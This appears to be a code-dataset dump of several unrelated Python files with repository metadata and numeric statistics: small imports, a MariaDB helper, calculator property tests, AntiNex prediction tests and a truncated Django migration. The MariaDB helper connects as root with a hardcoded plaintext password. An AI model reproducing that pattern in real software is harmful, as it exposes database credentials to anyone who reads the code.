minhlong94/SWE_IT1706IU
8ab5004abbd1965a14088f608a600726dfd6ca83
[ "MIT" ]
null
null
null
from wms.encryption.hash_password import hash_password
27.5
54
0.890909
8
55
5.875
0.75
0.510638
0
0
0
0
0
0
0
0
0
0
0.072727
55
1
55
55
0.921569
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
1
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
7
b4adc1a4e66c24e440460c768da7c254ce4a3a84
98
py
Python
voxel_globe/tools/__init__.py
ngageoint/voxel-globe
91f386de652b704942165889c10468b2c4cf4eec
[ "MIT" ]
28
2015-07-27T23:57:24.000Z
2020-04-05T15:10:52.000Z
voxel_globe/tools/__init__.py
VisionSystemsInc/voxel_globe
6eb3fca5586726428e9d914f7b730ca164c64a52
[ "MIT" ]
50
2016-02-11T15:50:22.000Z
2016-10-27T22:38:27.000Z
voxel_globe/tools/__init__.py
ngageoint/voxel-globe
91f386de652b704942165889c10468b2c4cf4eec
[ "MIT" ]
8
2015-07-27T19:22:03.000Z
2021-01-04T09:44:48.000Z
from .voxel_dir import task_dir, storage_dir, image_dir, image_sha_dir, get_image_sha_dir, log_dir
98
98
0.857143
19
98
3.894737
0.526316
0.216216
0.297297
0
0
0
0
0
0
0
0
0
0.081633
98
1
98
98
0.822222
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b4adf1831af5ef5d2e93fa7680eabf37bcbe3fdb
2,423
py
Python
model/mariadb.py
Osmond1689/Video_Monitor
22da4d227b7ab90311beb4cb6750a68a30387ae1
[ "MIT" ]
null
null
null
model/mariadb.py
Osmond1689/Video_Monitor
22da4d227b7ab90311beb4cb6750a68a30387ae1
[ "MIT" ]
null
null
null
model/mariadb.py
Osmond1689/Video_Monitor
22da4d227b7ab90311beb4cb6750a68a30387ae1
[ "MIT" ]
null
null
null
import pymysql.cursors # Connect to the database def insert(tingfang,ztname,ztaddr,ztstatus,testtime): connection = pymysql.connect(host='localhost', port=6033, user='root', password='Video#2017', db='VideoMonitor', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: # Create a new record sql = 'INSERT INTO ztrunstatus (tingfang,ztname,ztaddr,ztstatus,testtime) VALUES (%s,%s,%s,%s,%s)' cursor.execute(sql,(tingfang,ztname,ztaddr,ztstatus,testtime)) # connection is not autocommit by default. So you must commit to save # your changes. connection.commit() finally: connection.close() def select(time): connection = pymysql.connect(host='localhost', port=6033, user='root', password='Video#2017', db='VideoMonitor', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: # Create a new record sql = 'SELECT * FROM ztrunstatus WHERE testtime>%s' cursor.execute(sql,(time)) # connection is not autocommit by default. So you must commit to save # your changes. result=cursor.fetchall() connection.commit() finally: connection.close() return result def selectyc(time): connection = pymysql.connect(host='localhost', port=6033, user='root', password='Video#2017', db='VideoMonitor', cursorclass=pymysql.cursors.DictCursor) try: with connection.cursor() as cursor: # Create a new record sql = 'SELECT * FROM ztrunstatus WHERE testtime>%s and ztstatus != 200' cursor.execute(sql,(time)) # connection is not autocommit by default. So you must commit to save # your changes. result=cursor.fetchall() connection.commit() finally: connection.close() return result
37.859375
110
0.511762
219
2,423
5.6621
0.30137
0.045161
0.048387
0.067742
0.894355
0.834677
0.776613
0.776613
0.776613
0.776613
0
0.018646
0.402394
2,423
63
111
38.460317
0.837707
0.135782
0
0.829787
0
0.021277
0.144503
0.020163
0
0
0
0
0
1
0.06383
false
0.06383
0.021277
0
0.12766
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
b4e44b6aca6f36f791c122e0ea68e3d6ae8c6019
43
py
Python
contrib/to-rm-mx-contrib-text/d2lzh/text/__init__.py
luzhongqiu/d2l-zh
f3566eb223e66ecfbc14e72b28fef065e519aa2c
[ "Apache-2.0" ]
27,074
2018-12-27T00:46:42.000Z
2022-03-31T17:22:50.000Z
contrib/to-rm-mx-contrib-text/d2lzh/text/__init__.py
luzhongqiu/d2l-zh
f3566eb223e66ecfbc14e72b28fef065e519aa2c
[ "Apache-2.0" ]
562
2018-12-27T03:04:47.000Z
2022-03-31T21:24:26.000Z
contrib/to-rm-mx-contrib-text/d2lzh/text/__init__.py
luzhongqiu/d2l-zh
f3566eb223e66ecfbc14e72b28fef065e519aa2c
[ "Apache-2.0" ]
6,480
2018-12-27T00:44:44.000Z
2022-03-31T17:22:53.000Z
from . import vocab from . import embedding
21.5
23
0.790698
6
43
5.666667
0.666667
0.588235
0
0
0
0
0
0
0
0
0
0
0.162791
43
2
23
21.5
0.944444
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
b4f99f87ab96fab98a88d25993b40d27ffe52739
6,159
py
Python
tests/test_calculation.py
Harmon758/Harmonbot
ecfd1418af5126b4ff81003258022cbcd0337957
[ "MIT" ]
37
2017-02-22T17:33:11.000Z
2022-03-19T10:49:15.000Z
tests/test_calculation.py
Harmon758/Harmonbot
ecfd1418af5126b4ff81003258022cbcd0337957
[ "MIT" ]
2,464
2017-10-12T05:11:34.000Z
2022-03-31T08:23:08.000Z
tests/test_calculation.py
Harmon758/Harmonbot
ecfd1418af5126b4ff81003258022cbcd0337957
[ "MIT" ]
17
2017-02-10T13:49:07.000Z
2021-09-01T15:20:30.000Z
import unittest import math from hypothesis import assume, given from hypothesis.strategies import characters, integers, lists, text import pyparsing from units.calculation import calculate class TestCalculate(unittest.TestCase): @given(integers(min_value = 0)) def test_identity(self, number): self.assertEqual(calculate(str(number)), number) @given(lists(integers(min_value = 0), min_size = 2)) def test_addition(self, summands): self.assertEqual(calculate('+'.join(map(str, summands))), sum(summands)) @given(integers(min_value = 0), integers(min_value = 0)) def test_subtraction(self, minuend, subtrahend): self.assertEqual(calculate(f"{minuend}-{subtrahend}"), minuend - subtrahend) @given(lists(integers(min_value = 0), min_size = 2)) def test_multiplication(self, factors): self.assertEqual(calculate('*'.join(map(str, factors))), math.prod(factors)) @given(integers(min_value = 0), integers(min_value = 1)) def test_division(self, dividend, divisor): self.assertEqual(calculate(f"{dividend}/{divisor}"), dividend / divisor) @given(integers(min_value = 0), integers(min_value = 1), integers(min_value = 1)) def test_order_of_operations(self, operand_1, operand_2, operand_3): self.assertEqual(calculate(f"{operand_1}+{operand_2}*{operand_3}"), operand_1 + operand_2 * operand_3) self.assertEqual(calculate(f"{operand_1}+{operand_2}/{operand_3}"), operand_1 + operand_2 / operand_3) self.assertEqual(calculate(f"{operand_1}-{operand_2}+{operand_3}"), operand_1 - operand_2 + operand_3) self.assertEqual(calculate(f"{operand_1}-{operand_2}-{operand_3}"), operand_1 - operand_2 - operand_3) self.assertEqual(calculate(f"{operand_1}-{operand_2}*{operand_3}"), operand_1 - operand_2 * operand_3) self.assertEqual(calculate(f"{operand_1}-{operand_2}/{operand_3}"), operand_1 - operand_2 / operand_3) self.assertEqual(calculate(f"{operand_1}*{operand_2}+{operand_3}"), operand_1 * operand_2 + operand_3) self.assertEqual(calculate(f"{operand_1}*{operand_2}-{operand_3}"), operand_1 * operand_2 - operand_3) self.assertEqual(calculate(f"{operand_1}/{operand_2}+{operand_3}"), operand_1 / operand_2 + operand_3) self.assertEqual(calculate(f"{operand_1}/{operand_2}-{operand_3}"), operand_1 / operand_2 - operand_3) self.assertEqual(calculate(f"{operand_1}/{operand_2}*{operand_3}"), operand_1 / operand_2 * operand_3) self.assertEqual(calculate(f"{operand_1}/{operand_2}/{operand_3}"), operand_1 / operand_2 / operand_3) @given(integers(min_value = 0), integers(min_value = 1), integers(min_value = 1)) def test_parentheses(self, operand_1, operand_2, operand_3): self.assertEqual(calculate(f"({operand_1}+{operand_2})*{operand_3}"), (operand_1 + operand_2) * operand_3) self.assertEqual(calculate(f"({operand_1}+{operand_2})/{operand_3}"), (operand_1 + operand_2) / operand_3) self.assertEqual(calculate(f"{operand_1}-({operand_2}+{operand_3})"), operand_1 - (operand_2 + operand_3)) self.assertEqual(calculate(f"{operand_1}-({operand_2}-{operand_3})"), operand_1 - (operand_2 - operand_3)) self.assertEqual(calculate(f"({operand_1}-{operand_2})*{operand_3}"), (operand_1 - operand_2) * operand_3) self.assertEqual(calculate(f"({operand_1}-{operand_2})/{operand_3}"), (operand_1 - operand_2) / operand_3) self.assertEqual(calculate(f"{operand_1}*({operand_2}+{operand_3})"), operand_1 * (operand_2 + operand_3)) self.assertEqual(calculate(f"{operand_1}*({operand_2}-{operand_3})"), operand_1 * (operand_2 - operand_3)) assume(operand_2 != -operand_3) self.assertEqual(calculate(f"{operand_1}/({operand_2}+{operand_3})"), operand_1 / (operand_2 + operand_3)) assume(operand_2 != operand_3) self.assertEqual(calculate(f"{operand_1}/({operand_2}-{operand_3})"), operand_1 / (operand_2 - operand_3)) self.assertEqual(calculate(f"{operand_1}/({operand_2}*{operand_3})"), operand_1 / (operand_2 * operand_3)) self.assertEqual(calculate(f"{operand_1}/({operand_2}/{operand_3})"), operand_1 / (operand_2 / operand_3)) @given(lists(integers(min_value = 0), min_size = 2), text(alphabet = ' ', min_size = 1)) def test_whitespace(self, numbers, whitespace): self.assertEqual(calculate(f"{whitespace}{numbers[0]}{whitespace}"), numbers[0]) self.assertEqual(calculate(f"{whitespace}+{whitespace}".join(map(str, numbers))), sum(numbers)) self.assertEqual(calculate(f"{numbers[0]}{whitespace}-{whitespace}{numbers[1]}"), numbers[0] - numbers[1]) self.assertEqual(calculate(f"{whitespace}*{whitespace}".join(map(str, numbers))), math.prod(numbers)) @given(integers(min_value = 0), integers(min_value = 0)) def test_invalid_operator_syntax(self, operand_1, operand_2): self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}++{operand_2}") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}--{operand_2}") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}**{operand_2}") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}//{operand_2}") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}+") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}-") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}*") self.assertRaises(pyparsing.ParseException, calculate, f"{operand_1}/") self.assertRaises(pyparsing.ParseException, calculate, f"+{operand_1}") self.assertRaises(pyparsing.ParseException, calculate, f"-{operand_1}") self.assertRaises(pyparsing.ParseException, calculate, f"*{operand_1}") self.assertRaises(pyparsing.ParseException, calculate, f"/{operand_1}") @given(text(alphabet = characters(blacklist_characters = pyparsing.nums))) def test_non_numeric(self, non_numeric): self.assertRaises(pyparsing.ParseException, calculate, non_numeric) @given(integers(min_value = 0)) def test_parentheses_mismatch(self, number): self.assertRaises(pyparsing.ParseException, calculate, f"({number}") self.assertRaises(pyparsing.ParseException, calculate, f"{number})") @given(integers(min_value = 0)) def test_division_by_zero(self, dividend): self.assertRaises(ZeroDivisionError, calculate, f"{dividend}/0")
60.382353
108
0.749148
837
6,159
5.253286
0.082437
0.114624
0.187628
0.200136
0.784398
0.764612
0.747555
0.727769
0.701387
0.685695
0
0.035683
0.085403
6,159
101
109
60.980198
0.744896
0
0
0.109756
0
0
0.20562
0.18142
0
0
0
0
0.597561
1
0.146341
false
0
0.073171
0
0.231707
0
0
0
0
null
0
1
1
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
8
3716e2e40820a6ee9f05a848654e81eeb7f5273d
172
py
Python
ipcrg/io/__init__.py
iPC-project-H2020/ipcrg
61137f7f5da79615d752945af99c76e0c9a0ad11
[ "MIT" ]
3
2019-12-17T14:07:28.000Z
2020-09-24T08:38:54.000Z
ipcrg/io/__init__.py
iPC-project-H2020/ipcrg
61137f7f5da79615d752945af99c76e0c9a0ad11
[ "MIT" ]
null
null
null
ipcrg/io/__init__.py
iPC-project-H2020/ipcrg
61137f7f5da79615d752945af99c76e0c9a0ad11
[ "MIT" ]
null
null
null
"""Initialize I/O module.""" from .core import parse_edge_list # noqa from .core import get_gene_id_mapping_df # noqa from .core import get_protein_id_mapping_df # noqa
34.4
51
0.77907
29
172
4.275862
0.586207
0.193548
0.33871
0.290323
0.33871
0
0
0
0
0
0
0
0.139535
172
4
52
43
0.837838
0.22093
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
372a3bf2e8f10604118beb0b213e31c9eab4d62b
17,834
py
Python
tests/test_predict.py
jay-johnson/antinex-core
6d179f84300a642867997b55b1f7c5a1b4f8cfa0
[ "Apache-2.0" ]
18
2018-03-11T09:44:21.000Z
2020-12-16T02:02:57.000Z
tests/test_predict.py
jay-johnson/antinex-core
6d179f84300a642867997b55b1f7c5a1b4f8cfa0
[ "Apache-2.0" ]
null
null
null
tests/test_predict.py
jay-johnson/antinex-core
6d179f84300a642867997b55b1f7c5a1b4f8cfa0
[ "Apache-2.0" ]
2
2019-01-21T13:15:06.000Z
2020-06-03T21:15:54.000Z
import mock from tests.base_test import BaseTestCase from tests.mock_make_predictions import mock_make_predictions_success from tests.mock_make_predictions import mock_make_predictions_error from tests.mock_make_predictions import mock_make_predictions_fail from tests.mock_message import MockMessage from spylunking.log.setup_logging import test_logger from antinex_core.antinex_processor import AntiNexProcessor log = test_logger(name='test-predict') class TestPredict(BaseTestCase): @mock.patch( "antinex_utils.make_predictions.make_predictions", new=mock_make_predictions_success) def test_predict_antinex_simple(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) # end of test_predict_antinex_simple @mock.patch( "antinex_utils.make_predictions.make_predictions", new=mock_make_predictions_error) def test_predict_antinex_simple_error(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), 0) # end of test_predict_antinex_simple_error @mock.patch( "antinex_utils.make_predictions.make_predictions", new=mock_make_predictions_fail) def test_predict_antinex_simple_fail(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), 0) # end of test_predict_antinex_simple_fail @mock.patch( "antinex_utils.make_predictions.make_predictions", new=mock_make_predictions_success) def test_predict_antinex_simple_model_cleanup(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) # now try to predict a new one and test the cleanup body["label"] = "should-remove-the-first" self.assertEqual( len(prc.models), 1) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) for midx, model_name in enumerate(prc.models): self.assertEqual( model_name, body["label"]) # end of test_predict_antinex_simple_model_cleanup def test_predict_antinex_simple_success(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) # end of test_predict_antinex_simple_success def test_predict_antinex_simple_success_repredict(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) self.assertEqual( len(prc.models), 1) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) # end of test_predict_antinex_simple_success_repredict def test_scaler_predict_antinex_simple_success_repredict(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_scaler_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) self.assertEqual( len(prc.models), 1) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) # end of test_scaler_predict_antinex_simple_success_repredict def test_scaler_repredict_with_just_one_row(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_scaler_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) num_rows_at_bottom = 1 predict_rows_body = self.build_predict_rows_from_dataset( num_rows_at_bottom=num_rows_at_bottom) # make sure to remove the dataset arg to trigger # the predict from just the list of dictionary rows predict_rows_body.pop( "dataset", None) self.assertEqual( len(prc.models), 1) prc.handle_messages( body=predict_rows_body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) name_of_model = predict_rows_body["label"].lower().strip() self.assertTrue( name_of_model in prc.models) model_data = prc.models[name_of_model] self.assertTrue( (len(model_data["data"]["sample_predictions"]) == num_rows_at_bottom)) # end of test_scaler_repredict_with_just_one_row def test_scaler_repredict_with_multiple_rows(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) body = self.build_predict_scaler_antinex_request() self.assertEqual( body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) num_rows_at_bottom = 4 predict_rows_body = self.build_predict_rows_from_dataset( num_rows_at_bottom=num_rows_at_bottom) # make sure to remove the dataset arg to trigger # the predict from just the list of dictionary rows predict_rows_body.pop( "dataset", None) self.assertEqual( len(prc.models), 1) prc.handle_messages( body=predict_rows_body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) name_of_model = predict_rows_body["label"].lower().strip() self.assertTrue( name_of_model in prc.models) model_data = prc.models[name_of_model] self.assertTrue( (len(model_data["data"]["sample_predictions"]) == num_rows_at_bottom)) # end of test_scaler_repredict_with_multiple_rows def test_scaler_first_time_predict_with_rows(self): exchange = "webapp.predict.requests" routing_key = "webapp.predict.requests" queue = "webapp.predict.requests" max_models = 1 prc = AntiNexProcessor( max_models=max_models) num_rows_at_bottom = 7 predict_rows_body = self.build_predict_rows_from_dataset( num_rows_at_bottom=num_rows_at_bottom) name_of_model = predict_rows_body["label"].lower().strip() # make sure to remove the dataset arg to trigger # the predict from just the list of dictionary rows predict_rows_body.pop( "dataset", None) self.assertEqual( predict_rows_body["ml_type"], "classification") message = MockMessage( exchange=exchange, routing_key=routing_key, queue=queue) self.assertEqual( message.state, "NOTRUN") self.assertEqual( message.get_exchange(), exchange) self.assertEqual( message.get_routing_key(), routing_key) self.assertEqual( message.get_queue(), queue) self.assertEqual( len(prc.models), 0) prc.handle_messages( body=predict_rows_body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) model_data = prc.models[name_of_model] print(len(model_data["data"]["sample_predictions"])) self.assertTrue( (len(model_data["data"]["sample_predictions"]) == num_rows_at_bottom)) num_rows_at_bottom = 4 predict_rows_body = self.build_predict_rows_from_dataset( num_rows_at_bottom=num_rows_at_bottom) # make sure to remove the dataset arg to trigger # the predict from just the list of dictionary rows predict_rows_body.pop( "dataset", None) self.assertEqual( len(prc.models), 1) prc.handle_messages( body=predict_rows_body, message=message) self.assertEqual( message.state, "ACK") self.assertEqual( len(prc.models), max_models) self.assertTrue( name_of_model in prc.models) model_data = prc.models[name_of_model] self.assertTrue( (len(model_data["data"]["sample_predictions"]) == num_rows_at_bottom)) # end of test_scaler_first_time_predict_with_rows # end of TestPredict
28.085039
69
0.557867
1,723
17,834
5.510737
0.06036
0.156398
0.129753
0.070774
0.954186
0.946288
0.928383
0.917009
0.906477
0.885413
0
0.002808
0.36094
17,834
634
70
28.129338
0.830306
0.051587
0
0.944238
0
0
0.082519
0.053336
0
0
0
0
0.197026
1
0.018587
false
0
0.01487
0
0.035316
0.001859
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
2ec8616a2cf9583d00b414afaaaeb8e3b0004337
20,942
py
Python
biserici_inlemnite/biserici/migrations/0017_auto_20210730_1652.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
biserici_inlemnite/biserici/migrations/0017_auto_20210730_1652.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
biserici_inlemnite/biserici/migrations/0017_auto_20210730_1652.py
ck-tm/biserici-inlemnite
c9d12127b92f25d3ab2fcc7b4c386419fe308a4e
[ "MIT" ]
null
null
null
# Generated by Django 3.1.13 on 2021-07-30 13:52 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import simple_history.models class Migration(migrations.Migration): dependencies = [ ('nomenclatoare', '0005_boltapestealtar_historicalboltapestealtar_historicaltipboltapestealtar_historicaltipboltapronaos_tip'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('biserici', '0016_auto_20210730_1606'), ] operations = [ migrations.AddField( model_name='componentaartistica', name='altar_decor', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='decoruri_altar', to='nomenclatoare.finisajiconostas'), ), migrations.AddField( model_name='componentaartistica', name='altar_decor_detalii', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='componentaartistica', name='alte_icoane_vechi', field=models.BooleanField(default=False, verbose_name='Elemente sculptate / decoruri în biserică'), ), migrations.AddField( model_name='componentaartistica', name='alte_icoane_vechi_detalii', field=models.TextField(blank=True, help_text='Elemente sculptate / decoruri în biserică', null=True), ), migrations.AddField( model_name='componentaartistica', name='elemente_detalii', field=models.TextField(blank=True, help_text='Elemente sculptate / decoruri în biserică', null=True), ), migrations.AddField( model_name='componentaartistica', name='elemente_sculptate', field=models.BooleanField(default=False, verbose_name='Elemente sculptate / decoruri în biserică'), ), migrations.AddField( model_name='componentaartistica', name='iconostas_naos_altar_detalii', field=models.TextField(blank=True, help_text='Particularități ale iconostasului ce merită a fi precizate (de urmărit care este standardul de iconostas în zonă și care sunt eventualele deviații de la standard', null=True), ), migrations.AddField( model_name='componentaartistica', name='iconostas_naos_altar_finisaj', field=models.ManyToManyField(blank=True, related_name='iconostasuri_naos_altar', to='nomenclatoare.FinisajIconostas'), ), migrations.AddField( model_name='componentaartistica', name='iconostas_naos_altar_numar_intrari', field=models.IntegerField(blank=True, null=True), ), migrations.AddField( model_name='componentaartistica', name='iconostas_naos_altar_tip', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='iconostasuri_naos_altar', to='nomenclatoare.tipiconostas'), ), migrations.AddField( model_name='componentaartistica', name='iconostas_pronaos_naos_detalii', field=models.TextField(blank=True, help_text='Particularități ale iconostasului ce merită a fi precizate (de urmărit care este standardul de iconostas în zonă și care sunt eventualele deviații de la standard', null=True), ), migrations.AddField( model_name='componentaartistica', name='iconostas_pronaos_naos_finisaj', field=models.ManyToManyField(blank=True, related_name='iconostasuri_pronaos_naos', to='nomenclatoare.FinisajIconostas'), ), migrations.AddField( model_name='componentaartistica', name='iconostas_pronaos_naos_numar_intrari', field=models.IntegerField(blank=True, null=True), ), migrations.AddField( model_name='componentaartistica', name='iconostas_pronaos_naos_tip', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, related_name='iconostasuri_pronaos_naos', to='nomenclatoare.tipiconostas'), ), migrations.AddField( model_name='componentaartistica', name='mobiliere', field=models.BooleanField(default=False, verbose_name='Mobilier / candelabre /lumânărare / sfeșnice'), ), migrations.AddField( model_name='componentaartistica', name='mobiliere_detalii', field=models.TextField(blank=True, help_text='Mobilier / candelabre /lumânărare / sfeșnice', null=True), ), migrations.AddField( model_name='componentaartistica', name='obiecte_de_cult', field=models.BooleanField(default=False), ), migrations.AddField( model_name='componentaartistica', name='obiecte_de_cult_detalii', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='componentaartistica', name='obiecte_instrainate', field=models.BooleanField(default=False, verbose_name='Obiecte de cult înstrăinate'), ), migrations.AddField( model_name='componentaartistica', name='obiecte_instrainate_detalii', field=models.TextField(blank=True, help_text='Observații privind înstrăinarea obiectelor de cult aparținătoare bisericii ', null=True), ), migrations.AddField( model_name='componentaartistica', name='proscomidie', field=models.BooleanField(default=False, verbose_name='Proscomidie în exteriorul altarului'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='altar_decor', field=models.ForeignKey(blank=True, db_constraint=False, null=True, on_delete=django.db.models.deletion.DO_NOTHING, related_name='+', to='nomenclatoare.finisajiconostas'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='altar_decor_detalii', field=models.TextField(blank=True, null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='alte_icoane_vechi', field=models.BooleanField(default=False, verbose_name='Elemente sculptate / decoruri în biserică'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='alte_icoane_vechi_detalii', field=models.TextField(blank=True, help_text='Elemente sculptate / decoruri în biserică', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='elemente_detalii', field=models.TextField(blank=True, help_text='Elemente sculptate / decoruri în biserică', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', name='elemente_sculptate', field=models.BooleanField(default=False, verbose_name='Elemente sculptate / decoruri în biserică'), ), migrations.AddField( model_name='historicalcomponentaartistica', name='iconostas_naos_altar_detalii', field=models.TextField(blank=True, help_text='Particularități ale iconostasului ce merită a fi precizate (de urmărit care este standardul de iconostas în zonă și care sunt eventualele deviații de la standard', null=True), ), migrations.AddField( model_name='historicalcomponentaartistica', 